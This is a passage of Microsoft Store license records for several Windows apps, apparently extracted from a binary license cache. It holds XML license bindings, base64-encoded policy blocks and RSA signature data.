InBvbGxBdCI6IjIwMjYtMDMtMDZUMDk6MTA6NTEuMzEzODkrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAALIAAADJAAAACgAAAAUAAgAbJZhpAADLAAAAEAAAAMhnbjAdmt44hlQFS9im5tbOAAAASgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwBjAHIAZQBlAG4AcwBrAGUAdABjAGgAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABACJw+GoaAtBXdii2XhNkA+2jSTy0HAZuPDQJRoIrZAyO0wAAAAQAAAAbmqppzAAAAEQAAAABAAIAqxxFm38RB6tHUH3TBr4IpvnDWD7FccimQJp915EP3BRd7Gitr3oBSHO7CdSvwh5KqDyEZWUd29FCJSJIZ9HIlA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>5Vbl7R7o+9YeHSh2MLOtYtVAAx/WXPrcdEcZlrf247Q=</DigestValue></Reference></SignedInfo><SignatureValue>CfQjaigDrtDaZbLZ1aEfP7RgFwbWTRAd6CY6Shz41nRECctf0Axq2y3aecGVXrT2AdIyKHw/LMv/ef4x4bgVG+16Qz1kjOyzPRPTHuhCivOQKDK98F+IDdRqlQe/lvKKPH3kAHroF4YVqBIyTHO6XFfBTEInI+lfU9P4BBGR0DYVtK7LwEqrtKFQfq4swyxAPFRPNSLyLSzPwKrhOPsWq+OpkmK0x1naAPLIR2J3VeHSGIkYZ5G8Z36yeBlOywsXDkg/rKrQMQaOysxqORaCo7lLl1salK6Q0GEdwqmkxYb5L0Gnc9etGkZsBlSTCUY6ceRWTPfNodBYfVjZg1FUgQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="4ad46f3c-a6a1-4c4f-b2d9-62a058601f50" LicenseID="f1d940d0-b5b2-0083-8403-807a8db430d5" ContentID="42493de9-7734-949c-ad90-1d11f59f45cb" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9MZ95KL8MR0L</ProductID><PFM>microsoft.screensketch_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T04:04:11.3594119Z</IssuedDate><LastUpdateDate>2026-02-20T04:04:11.3428098Z</LastUpdateDate><BeginDate>2026-02-20T04:04:11.3428092Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI3NGE0ZDVmNy1hMmYxLTQwMWYtOTc2OC1kMjZlMmRmZTAyNzMifQ==</CustomPolicies><SPLicenseBlock>FAAAALIAAADJAAAACgAAAAUAAQA73ZdpAwDLAAAAEAAAANBA2fGytYMAhAOAeo20MNXOAAAASgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AcwBjAHIAZQBlAG4AcwBrAGUAdABjAGgAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABACJw+GoaAtBXdii2XhNkA+2jSTy0HAZuPDQJRoIrZAyOIAAAAAQAAAA73ZdpzAAAAEQAAAABAAIAHBlm0xL8v2qrjNzokmK+p9jUp7SRIRA4mlWN+9bBK4n+OF2NzCW0Q+HydyiV76Q+gqQD9kcWv+qP0OmOa/55gA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>8XKLvfVgsO00+2xHl4to+VvEFSdOVPaQGca9hBI56q8=</DigestValue></Reference></SignedInfo><SignatureValue>HXCP2PlhGIWInFBUStPGU0URzPoeGI2Zzk1+PUDE9ClrOvDvqhI6v7Ad5GUzFsgNcplgts6C3dgqb6WlD5pF/3iq8Y1bLb47KtiF02qV9n5mmpjYd88LIVyFx5yHWpheRZeTJsZotzzHhhIurz5+G1irKK0MMuPFVJ2DEkCnN3OKJgOTVS4uGXXQVRlr5hrTvQGkVDN/5Wc6TLM93oNF/hk+UrIg/rsqKFtGzv4vMMGy2jeCUno/ZFZUQvod7f7vIJHUVD6SSreuDtxW/K/AdjU3b+liordnvPde323S+c9k24bcZ/pUPcKmd8ddbuDciYnto1hkgYqpn+j4wVAEIA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
>be<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3eaf23c1-13e3-4ee7-ad52-797f03357fad" LicenseID="7646fa0f-b52c-71a8-3aed-950dd1668c09" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.BingWeather_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T15:01:48.8561858Z</IssuedDate><LastUpdateDate>2026-02-20T15:01:48.8468463Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1lNjY1OGMxOS00MjIxLTJlYmUtNzYzYS1mMDQ5M2ZiYTJiYjAmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKM1EyJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiZmM5M2I0NTItOGE4NC1kZWRlLTNiN2EtMGZjOTQxM2M0NTkyIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiZTY2NThjMTktNDIyMS0yZWJlLTc2M2EtZjA0OTNmYmEyYmIwIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSjNRMiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNTowMTo0OC44NDY3MDIxKzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALAAAADJAAAACgAAAAUAAgBdd5hpAADLAAAAEAAAAA/6RnYstahxOu2VDdFmjAnOAAAASAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwB3AGUAYQB0AGgAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAB+6Z5pD/BD8F+aOeQKW51C4tH2h7JdsjC3OaSctd1b9MAAAAEAAAAXR4PaswAAABEAAAAAQACAC1AcEmLbRJuqEZLQ5MKT5l2S1bIQa09VG3+rUYrAeWPMdi+y+uXIZfQjBm8sqWmLmCrjwHURQMgx9MmcVzNR40=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>jTZZ7ysiqiIG2Gp3t/hyI2QZSlpPDCZ8kD5XxzX9NLI=</DigestValue></Reference></SignedInfo><SignatureValue>SW9MlKRxHYJuk9derfKGi2BJaGaWc1x0yoE612Pb+M20qYM1g/rNtKYl6zdHn5QXQwacvzXTJdITtYkbm9pSEfkkHkNy28XT/Hckly36Nj+MwOsPfwuDZlpKVDFLYYo10HxiYAnus2nC3qiLnpG9jUWKRnSAiOVuIBQhlenewWACP/yfhOGNDl2c/yOyRbhv6wnGrp64JeKKiBKVcnkOdY8NZ5JzcH7qcgRSpcR/7+6CyPQXKRRvRaA+/0satVN20bcMH2ezWoph2XBJctHUm6XB3qPt5A0Mp3P7N8ClKoFTvjsAbViCMB2fl5o0saolHXrFf5ZPCwEStrqtn9Md4A==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
i[x#<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="9a151f05-7b5f-4dbc-9aa4-f067ed5334fb" LicenseID="fc93b452-8a84-dede-3b7a-0fc9413c4592" ContentID="e6658c19-4221-2ebe-763a-f0493fba2bb0" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJ3Q2</ProductID><PFM>microsoft.bingweather_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:53:39.2289079Z</IssuedDate><LastUpdateDate>2026-02-20T11:53:39.2180972Z</LastUpdateDate><BeginDate>2026-02-20T11:53:39.2180965Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI0MjFiYTg3NC1mOTAzLTQ5NjUtOWI4Mi1kNjBmM2JhM2NhZTAifQ==</CustomPolicies><SPLicenseBlock>FAAAALAAAADJAAAACgAAAAUAAQBDS5hpAwDLAAAAEAAAAFK0k/yEit7eO3oPyUE8RZLOAAAASAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwB3AGUAYQB0AGgAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQAB+6Z5pD/BD8F+aOeQKW51C4tH2h7JdsjC3OaSctd1byAAAAAEAAAAQ0uYacwAAABEAAAAAQACAJph1oTlOuzuA+w/ZIXlpcFxmy5VCwBVMyn7w2abFQIVEM3c5EVVyXN8BvEYkNTsMnESu6Qu2oW8D7rBDi4YAZY=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>ViBWN3w/JP2ITWfX74D5ZFk29F7jgLWjVMzotJcEfgs=</DigestValue></Reference></SignedInfo><SignatureValue>FbeGZK4h3Lwpde+xwmBkhpNmbNGFeMf2Rc2KHD5i+mTnZNnXZV32AfnX8+tMOZNgyZKLbVgjqayEqZ5tKmpNGg3m5rqK8sjxOxtAGgeIPSkJCt1NAcEyBtAPO6u+DXtn5qTQz/3z3Cfdb0UpRj0pA9pXzboNt6h3deSXbZJxtKUOagpj8zQebgPY/qVNC9BbhCN16FOGFXhpQV+JlSRcNjyAG+AEA2UDmxbhnVXkvHg91ZwJKEeyQMEJlzpDjjDC01uE4YRH3DVCotF140rVGiW861ViWP69x3CC8FH4b0M5ipKLfOkrddmRPw0+sh1Mv6swhRqWFLs1EsyN7jmMAA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1deecd64-6bec-4465-a79b-a7850b6bc064" LicenseID="1a41e333-7a8b-12f1-af85-56f7d84bfa75" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.AV1VideoExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:05:37.3350955Z</IssuedDate><LastUpdateDate>2026-02-20T13:05:37.3228303Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiZGMyN2JkZTItMjBmZC1mZDNiLWYyMTMtOTJkYjllMzhjOThiIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MjMxNzA4MTkzNDMzJmNvbnRlbnRJZD1mZWZiYmUyYi1kNjhhLTYzZDgtMWQxNy0wNDZmMmMxMjY2YTkmZW50aXRsZW1lbnRJZD1kYzI3YmRlMi0yMGZkLWZkM2ItZjIxMy05MmRiOWUzOGM5OGImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImZlMTQzYmE3LWMyMzEtMzgzNS0xZDc1LTIxNTc3ZDg2ODFkNCJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImZlZmJiZTJiLWQ2OGEtNjNkOC0xZDE3LTA0NmYyYzEyNjZhOSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TVZaUVZYSkJROVYiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTM6MDU6MzcuMzIyNTk3NiswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAgAhXJhpAADLAAAAEAAAADPjQRqLevESr4VW99hL+nXOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQB2ADEAdgBpAGQAZQBvAGUAeAB0AGUAbgBzAGkAbwBuAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQDE9rPQAHzsmd4iCFUBnGLzdLaQa2e6y3/tlTK0IibSENMAAAAEAAAAIdGqacwAAABEAAAAAQACANKw1o5pJPnP/pk5rT6XLARNgNhR3H/dauxUQp01mu37K5JcDaeKbtxZU0Oo8OX6zeB5897KiB0zS14tdo5NX+8=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>aMBzmw36d4KTLDHuwIDt26yDYd4h+euAJcUafhmyRVs=</DigestValue></Reference></SignedInfo><SignatureValue>BP3rHnmuTU+Q1P9laBa9N5pUV+SNNcrGZOlzBd3N3TyJ0/ezU5cZHyGfMxNFkJCRjSSWmvacgB0wzmgSmRacu5CDm9Kc8/6MWzpenUwa3UfMIq/tWjJYh1j2z/dAcyJl2hpMICxIJJoOJ/qbJpmqf7C9BpxgyTgEnBqTeLmKkPDLcUQhiTYTBsIcMdh7kUlEpLJnvSpSa0ld/DVbo4kamk6lMt88paDmalFItAS7QDZLDj/cSy71XS9MHM5tIAYth8xFObaspT5GhOfgNOO7wrH3GTXlIbaRXx9itTh3xI5U1ghIlgJtdaz/wmv4Uy13bZmVS3ZKJB+wHtomcKQYeg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="8609d28e-b568-479a-9834-63957b6615b6" LicenseID="fe143ba7-c231-3835-1d75-21577d8681d4" ContentID="fefbbe2b-d68a-63d8-1d17-046f2c1266a9" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9MVZQVXJBQ9V</ProductID><PFM>microsoft.av1videoextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T15:10:14.6127197Z</IssuedDate><LastUpdateDate>2026-02-19T15:10:14.5994411Z</LastUpdateDate><BeginDate>2026-02-19T15:10:14.5994406Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJjNmU1YzA2MS01MWRlLTQzZjctOTgwMy00MjJiZTc0ZjMyNmMifQ==</CustomPolicies><SPLicenseBlock>FAAAALwAAADJAAAACgAAAAUAAQDXJ5dpAwDLAAAAEAAAAKc7FP4xwjU4HXUhV32GgdTOAAAAVAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQB2ADEAdgBpAGQAZQBvAGUAeAB0AGUAbgBzAGkAbwBuAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQDE9rPQAHzsmd4iCFUBnGLzdLaQa2e6y3/tlTK0IibSECAAAAAEAAAA1yeXacwAAABEAAAAAQACAGAhtm2MjmdT16PX5JjRX+M9EmFeln1KqASQ9bDdxiYNH8pIYGK8ioSl6dNgGIjGYnzsZ7/riWTE41W+wqT8icw=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>ZnoaFOtsbJb+mkX1VpcZjqLfPemOb0frpbkkOLO+BaM=</DigestValue></Reference></SignedInfo><SignatureValue>GFEB9mEB94bm7Jl/BAdcxMBpJ38ulpHcJbEelj1pJ11WJF3ucw3lwRhTK6fJOaiPXRFhkIRpU+EXBeBo6EbisG/is/TKa6djW0FXj74GpfoamoLStgYUWJDciEnuqYH9MVpEO4KRCkkK0gIF23vXLwPAMOIAD3tBTbP7fy9AKbQQQIRfnX/jetY9ASjdreUBINnpebYXXV4joyTktxgDE81bl2expXPuQ3nDNXffXDJ4kOjzQo3uWR8JyyBeLWU7D1p0R3uDkKTf2srJxdZel2/WJkOT0fxQGwm99QUDyYVjl3Nw1Ww7TEM0i0Vzn9k4gP6qblx8hd4mxNULRDRJog==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
K<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="8aee76c1-b337-4465-ae5d-ea8da0231d54" LicenseID="b1bc283d-b03f-e536-77df-6483b7598b21" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-21T10:45:35.7587074Z</IssuedDate><LastUpdateDate>2026-02-21T10:45:35.7435709Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNGQ3MDAxMmEtNThlYi1hZDczLTdiMGUtY2Y2NjNlMGMyNjEwIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODI1NzgwNjY4MjAyODE4JmNvbnRlbnRJZD1iZGIzZjMxNi1jMDc3LTE1ZDYtNWJjMy1iZWE1MTEzMWI0OGImZW50aXRsZW1lbnRJZD00ZDcwMDEyYS01OGViLWFkNzMtN2IwZS1jZjY2M2UwYzI2MTAmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImNmN2Q2MTE2LWJmN2ItYzFkMi0zN2MyLTQ5NTlkY2MwYWRkMSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImJkYjNmMzE2LWMwNzctMTVkNi01YmMzLWJlYTUxMTMxYjQ4YiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TjNSSzhaVjJaUjgiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDdUMTA6NDU6MzUuNzQzNDMyNiswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAMYAAADJAAAACgAAAAUAAgDQjJlpAADLAAAAEAAAAD0ovLE/sDbld99kg7dZiyHOAAAAXgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAGQAZwBlAHQAcwBwAGwAYQB0AGYAbwByAG0AcgB1AG4AdABpAG0AZQBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAXdHiJmCDHLns88Otz/kmB55UQc7ODguaNjJuKwfmMiHTAAAABAAAANABrGnMAAAARAAAAAEAAgBZEm+IyPgdU4p4wolrI5ewyLZ8N5eqTFXE9tB3HpcfhCjVxWRQaWEvk89zooPMHr8lbUPs57cEZUYlNwgjzNUC</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>NUhkaNKaQCW1uzTbLLMYTVQFVIVMy8jJGaIfQOphjNA=</DigestValue></Reference></SignedInfo><SignatureValue>bqVD/c2iTjfgBEkTKqlA7HZobgL9PWT9zf/jKq+O5DoXZJdQvmoJJuOkG4tKRP+cV3C8d0lMFOys/AWi+BFSTfqSd90tkDGP+Q/n9fRINoqk7tTb1Qy+0oHzshUmQCFbdm/s9YSatw+CNmvP9jOF7m84rjvwQ5UmNBJ7+3jy2qMoCW6ByAD6my4soU6tbKOou/41nbBlkVEsdvFmgf2qJ9GDlj3jugeZiwQoba49tMh+p5FCaK3FKKVXTPshM5QZ5jSIdgngwa9TWv4v83oTYPOHGD2pa+iOX/mERJ6j9NxrzfWXAs7DN9juVQpRl6UIAdrZ2NX4XY4q9S9QXTwGxA==</SignatureValue><KeyInfo 